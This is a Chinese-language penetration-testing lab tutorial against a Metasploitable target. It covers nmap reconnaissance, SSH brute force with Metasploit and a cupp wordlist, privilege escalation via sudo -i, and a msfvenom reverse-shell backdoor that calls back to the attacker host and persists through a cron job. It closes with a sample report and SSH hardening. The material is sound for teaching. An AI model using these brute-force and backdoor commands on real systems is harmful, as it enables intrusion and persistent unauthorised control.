目标:系统渗透测试流程实战
复习:
Linux命令
- ifconfig 查看IP地址相关参数
- nmtui 字符图形界面修改IP地址相关参数
- hostname 查看或修改主机名
- ls 查看目录列表
- cd 切换当前目录
- pwd 查看当前位置
- mkdir 创建目录 //-p 如果上级目录不存在,自动创建
- rm 删除文件或目录 //-r 删除目录
- touch 更新文件的时间,如果文件不存在就创建空文件
- vim 编辑文件 //i o 进入输入模式,:wq 保存推出,:q! 不保存退出,:w 保存,:set nu 显示行号,/str 查找
- cat 查看文件内容,一次全部显示到屏幕
- less 浏览文件内容,分屏显示,可以前后翻页
- cp 复制文件或目录, //-r 复制目录
- mv 移动或改名文件或目录
- useradd 创建用户
- userdel 删除用户 //-r 删除主目录
- passwd 修改密码
- su 切换当前用户 //- 同时切换到主目录
- id 查看用户的属性
- groupadd 创建组
- groupdel 删除组
- gpasswd 修改组成员 //-a 添加用户 ,-d 删除用户
- chmod 修改文件或目录的权限 例如: chmod ugoa+-=rwx , chmod 777
- chown 修改归属 //u1:g1 u1属主,:g1 属组
- sudo 使普通用户以管理员身份执行命令
- mount 挂在移动设备 //mount /dev/cdrom /mnt ,把光盘挂载到/mnt目录下
- umount 卸载移动设备
- df -h 查看磁盘的使用情况,设备挂载到哪个目录
- reboot 重启 //init 6
- poweroff 关机 //init 0
- yum 管理Linux软件包管理 // install 安装,remove 卸载,reinstall 重新安装,list 查看已安装或可安装的软件包,yum info 查看软件包信息
- systemctl 管理服务 //start 启动,stop 停止,restart 重启,enable 开机自启,disable 禁用开机自启
- which 查找可执行的命令
- find 查找指定文件 //-name 文件名,-type 文件类型,-size 文件大小,mtime 文件日期
- top 查看进程及CPU/内存资源占用
- pstree 查看进程树 //-p 显示进程ID
- pkill 根据进程名杀死进程
- kill 根据进程ID杀死进程
- grep 查找文件中指导字符串的行
- wc 统计行、单词、字符
- echo 回显指定字符串到屏幕
系统渗透
- 系统渗透的前提:系统存在漏洞
- Windows、Linux
信息收集:IP地址、开放的端口、系统/应用漏洞
- 20 21 FTP服务器
- 22 SSH Linux/网络设备
- 23 TELNET 网络设备
- 25/110 邮箱服务器 //25发送,110客户端接收
- 53 DNS服务器
- 80/443 网站服务器 //8080、81、8081
- 1433 微软SQL数据库
- 3306 MySQL数据库
- 3389 Windows远程桌面
系统漏洞
常见的Windows高危漏洞
CVE-2012-0002(MS12-020)RDP远程命令执行漏洞,利用Windows系统的远程桌面协议(RDP)存在缓存溢出漏洞,攻击者可通过向目标操作系统发送特定内容的RDP包造成操作系统蓝屏
CVE-2015-1635(MS15-034)IIS远程命令执行漏洞,攻击者只要发送恶意http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃
CVE-2017-0143(MS17-010)SMB远程命令执行漏洞,漏洞通过 TCP 的445和139端口,利用SMB远程代码执行漏洞,攻击者可以在目标系统上执行任意代码
CVE-2019-0708 RDP远程命令执行漏洞,利用Windows系统远程桌面漏洞,攻击者可以在目标系统完成安装应用程序,查看、更改或删除数据,创建完全访问权限的新账户等操作
……
Linux系统漏洞
SSH密码爆破
防范:
安全基线:账户锁定策略、密码策略、安全选项等等
最小化攻击面:关闭不必要服务(端口)、卸载不必要程序、通过防火墙仅放行必要的端口
安装补丁:
项目背景
小驴网络科技有限公司最近发现主机容易被入侵,甚至会被植入木马程序 主机使用的系统版本是Linux 雇佣乙方:天启安全公司 来做系统的渗透测试以及安全加固
零、前期交互
可渗透的资产范围:192.168.10.*
可渗透的程度:可以植入木马程序,可以进行普通文件的删除测试,可以进行提权操作
不可以删根:rm -rf /* ,不可以删除日志
合同的金额及支付的方式:100万 343支付方式:前期入场支付30% 做完加固支付40%,尾款1月后支付30%
一、信息收集与暴力破解
0、信息收集
1)收集10网段开放的主机信息
┌──(root㉿kali)-[~] └─# nmap -sS 192.168.10.0/24 结果: 192.168.10.1 192.168.10.2 192.168.10.143(目标靶机) 192.168.10.224(kali主机) 192.168.10.254 分析: 以上的主机中,192.168.10.143这台主机就是我们进行渗透测试的目标
2)确定目标主机的操作系统类型
┌──(root㉿kali)-[~] └─# nmap -sS -O 192.168.10.143 结果: Running: Linux 2.6.X 分析:可能操作系统是Linux 2.6.x版本 如果是windows操作系统,系统的漏洞相对较多,使用openvas或者其他漏扫软件进行扫描 如果Linux操作系统,来自系统的漏洞相对较少,更多关注的是服务和软件上的漏洞
3)确定目标主机的开放端口以及端口对应的服务和版本
┌──(root㉿kali)-[~] └─# nmap -sV 192.168.10.143 结果: PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 分析: 21端口对应的ftp使用的软件vsftpd 2.3.4,可能存在“笑脸漏洞” 22端口对应的ssh服务是开放的,可能存在暴力破解的风险 ... 80端口对应httpd服务,对外提供网站浏览的功能,暴露出来的网页有用户名和密码输入页面, 可能会存在暴力破解或者弱口令漏洞,web网页可能存在owasp top 10 漏洞 还可以使用openvas进行漏洞扫描
1、SSH暴力破解
1)创建字典(cupp是一款社工密码生成工具)
┌──(root㉿kali)-[~] └─# cupp Command 'cupp' not found, but can be installed with: apt install cupp Do you want to install it? (N/y) y ┌──(root㉿kali)-[~] └─# cupp -i > First Name: msf > Surname: admin 其他的选项全部按回车略过(生成比较小的密码本,在进行暴力破解时速度较快) 实际应用中可以全部补全
使用cupp生成的社工密码本:
社工密码生成器safe6pwd.jar使用方式:
1.将此文件拖入到kali中
2.(在桌面打开kali终端)kali终端输入:java -jar safe6pwd.jar
3.输入相关社工信息
使用方式: 1.将此文件拖入到kali中 2.(在桌面打开kali终端)kali终端输入:java -jar safe6pwd.jar 3.输入相关社工信息
2)暴力破解
┌──(root㉿kali)-[~] └─# msfconsole -q msf6 > search ssh_login msf6 > use 0 msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.10.143 msf6 auxiliary(scanner/ssh/ssh_login) > set username msfadmin msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file safe6pass.txt //将用户密码本选择为自己设置的那个 msf6 auxiliary(scanner/ssh/ssh_login) > run 结果:msfadmin:msfadmin ssh被暴力破解成功
二、漏洞利用
权限提升,获取root用户权限,修改root密码
┌──(root㉿kali)-[~] └─# ssh msfadmin@192.168.10.143 msfadmin@metasploitable:~$ sudo -i root@metasploitable:~# passwd root root@metasploitable:~# exit msfadmin@metasploitable:~$ exit 分析: 以普通用户身份登录进去,sudo -i直接提权成功 没有对普通用户做sudo授权的限制,导致很容易提权成功 使用root远程登录直接就登录成功,代表ssh配置文件中缺少对root用户的远程登录限制 注:出现ssh连接报错的解决方案 ┌──(root㉿kali)-[~] └─$ mkdir .ssh ┌──(root㉿kali)-[~] └─$ vim .ssh/config //创建ssh配置文件,防止ssh连接报错 Host * HostkeyAlgorithms +ssh-rsa PubkeyAcceptedKeyTypes +ssh-rsa
侵入成功后,为了持久远程控制对方,即便是对方已经进行安全加固
在kali中制作一个能够运行在Linux环境下的木马后门
1、创建后门程序 msfvenom -p linux/x86/meterpreter/reverse_tcp lhost= 192.168.10.224 lport= 4444 -f elf -o muma
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost= 192.168.10.224 lport= 4444 -f elf -o muma
2、植入后门程序(持久性控制)┌──(root㉿kali)-[~]
└─# scp muma root @192.168.10.143:/mnt //上传到靶机/mnt下
┌──(root㉿kali)-[~] └─# scp muma root @192.168.10.143:/mnt //上传到靶机/mnt下
3、激活后门程序
┌──(root㉿kali)-[~] └─# ssh root@192.168.10.143 //远程连接目标主机 root@metasploitable:~# ls -l /mnt/muma //查看shell是否可以执行 -rw-r--r-- 1 root root 207 2023-01-03 03:54 /mnt/shell root@metasploitable:~# chmod a+x /mnt/muma //设置全部用户执行权限 root@metasploitable:~# ls -l /mnt/muma -rwxr-xr-x 1 root root 207 2023-01-03 03:54 /mnt/shell
4、制定计划任务,定期运行木马
root@metasploitable:~# EDITOR=vim crontab -e //调用vim编辑 * * * * * /mnt/muma & //每分钟执行/mnt/muma后门程序
5、攻击机连接后门
┌──(root㉿kali)-[~] └─# msfconsole msf6 > use exploit/multi/handler //调用侦听模块 msf6 exploit(multi/handler) > set lhost 192.168.10.224 //设置响应的IP地址 msf6 exploit(multi/handler) > set lport 4444 //设置响应的端口号 msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp //调用基于TCP的反弹载荷 msf6 exploit(multi/handler) > run meterpreter > //进入meterpreter说明连接成功
三、渗透测试报告
渗透测试报告(简版): 一、报告概要 报告名称: 小驴网络科技有限公司系统渗透测试报告 测试日期: 2023-xx-xx 至 2023-xx-xx 报告日期: 2023-xx-xx 报告版本: V1.0 二、报告目的与范围 报告目的: 评估系统安全性,识别潜在的安全漏洞和风险,为公司提供改进安全措施的建议 测试范围: 192.168.10.* 三、测试方法与工具 测试方法: 黑盒测试 测试工具: Nmap,Metasploit,Hydra,Openvas,safe6pass.jar,Msfvenom 四、渗透测试过程 信息收集阶段: 通过网络扫描确认了192.168.10.0网段存活的主机 通过网络扫描确认了192.168.10.143开放的端口以及端口对应的服务信息以及服务的版本 通过网络扫描和目标主机信息搜集,我们发现目标Linux主机的IP地址为192.168.10.143 确认了目标主机22端口对应ssh服务是开启的 确认了目标主机的ftp服务时开启并且vsftpd 版本是2.3.4版本 .... 漏洞扫描阶段: 我们针对目标主机进行漏洞扫描,发现该主机存在SSH暴力破解漏洞 测试vsftpd 2.3.4是否存在"笑脸漏洞" ..... 漏洞利用阶段: 利用暴力破解工具MSF平台中的ssh_login暴力破解程序,针对目标主机的SSH服务进行暴力破解, 成功获取了SSH登录凭证 用户名:msfadmin 密码:msfadmin ssh msfadmin@192.168.10.143 进行远程连接并进行普通用户操作 利用MSF中的vsftpd漏洞利用程序发起的攻击,能够直接以root身份连接到目标主机 权限升级阶段: 通过SSH登录目标主机,尝试提升权限以获取更高级别的访问权限,sudo -i直接提权成功 在此阶段,我们尝试利用已知的Linux权限提升漏洞或配置错误,最终成功获取了root权限 后渗透阶段: 在获得root权限后,我们可以访问目标主机的敏感数据,如用户信息、配置文件等 上传后门/木马程序,达到长期操控的目的 这可能导致数据泄露和其他安全问题 五、发现的安全漏洞与风险 漏洞汇总: SSH暴力破解漏洞 风险评估: 漏洞严重程度:高 可能造成的损失:数据泄露、未授权访问、系统被入侵 vsftpd笑脸漏洞: 漏洞严重程度:高 可能造成的损失:数据泄露、未授权访问、系统被入侵 .... 六、建议与改进措施 针对SSH暴力破解漏洞: 使用强大且复杂的密码,定期更换密码 限制SSH登录尝试次数和频率 使用非标准端口号以降低被扫描的概率 启用SSH密钥对认证,禁用基于密码的认证 配置防火墙,限制可访问SSH服务的IP地址范围 具体操作: root@metasploitable:~# vim /etc/ssh/sshd_config //SSH服务配置文件 5 Port 12345 //修改端口为12345,黑客想不到的 25 LoginGraceTime 1m //修改登录验证总耗时,1分钟 26 PermitRootLogin no //修改不允许root远程登录 28 MaxAuthTries 2 //新增一行,最大试错次数,2次 29 AllowUsers msfadmin@192.168.10.1 //新增一行,仅允许指定用户在指定IP上登录 root@metasploitable:~# /etc/init.d/ssh restart //重启SSH服务 vsftpd笑脸漏洞整改建议: 建议升级vsftpd软件,不要再使用2.3.4版本 针对整个系统提供的建议性安全措施: 对操作系统和软件进行定期更新,修补已知漏洞 实施日志审计,监控系统异常活动 对重要数据进行加密存储和备份 为员工提供安全培训,提高安全意识 七、结论 本次渗透测试发现了目标Linux主机存在SSH暴力破解漏洞,通过漏洞利用, 我们成功获取了SSH登录凭证并进一步提升了权限。这表明目标主机的安全存在较大风险, 可能导致数据泄露、未授权访问和系统被入侵等问题。 为了确保系统安全,我们建议公司采纳本报告中提供的改进措施和建议, 尤其是针对SSH暴力破解漏洞的解决方案。此外,公司应定期进行安全审计和渗透测试, 以便时刻关注系统安全状况,发现并解决潜在安全问题。 八、附录 附录A: 渗透测试详细过程记录 在此部分,您可以详细记录渗透测试的每个阶段的具体操作和结果,以便在需要时进行查阅。 附录B: 渗透测试相关截图 可以附加一些与渗透测试相关的截图,如暴力破解工具的使用过程、SSH登录成功的界面等。 附录C: 参考资料和链接 在此部分,您可以提供一些与渗透测试相关的参考资料和链接,例如渗透测试工具的官方文档、漏洞数据库网站等。
四、安全加固
1)SSH安全配置
root@metasploitable:~# vim /etc/ssh/sshd_config //SSH服务配置文件 5 Port 12345 //修改端口为12345,黑客想不到的 25 LoginGraceTime 1m //修改登录验证总耗时,1分钟 26 PermitRootLogin no //修改不允许root远程登录 28 MaxAuthTries 2 //新增一行,最大试错次数,2次 29 AllowUsers msfadmin@192.168.10.1 //新增一行,仅允许指定用户在指定IP上登录 root@metasploitable:~# /etc/init.d/ssh restart //重启SSH服务
2)SSH应用密钥远程访问
在客户端moba终端上生成密钥对
/home/mobaxterm rm -rf .ssh/ //清除现有密钥对,防干扰 /home/mobaxterm ssh-keygen //生成新的密钥对
将公钥传输到目标主机
/home/mobaxterm ssh-copy-id root@192.168.10.143 //传到root主目录,将会以 root 身份远程访问
以密钥方式访问目标主机

五、验证
再次进行ssh暴力破解,验证加固效果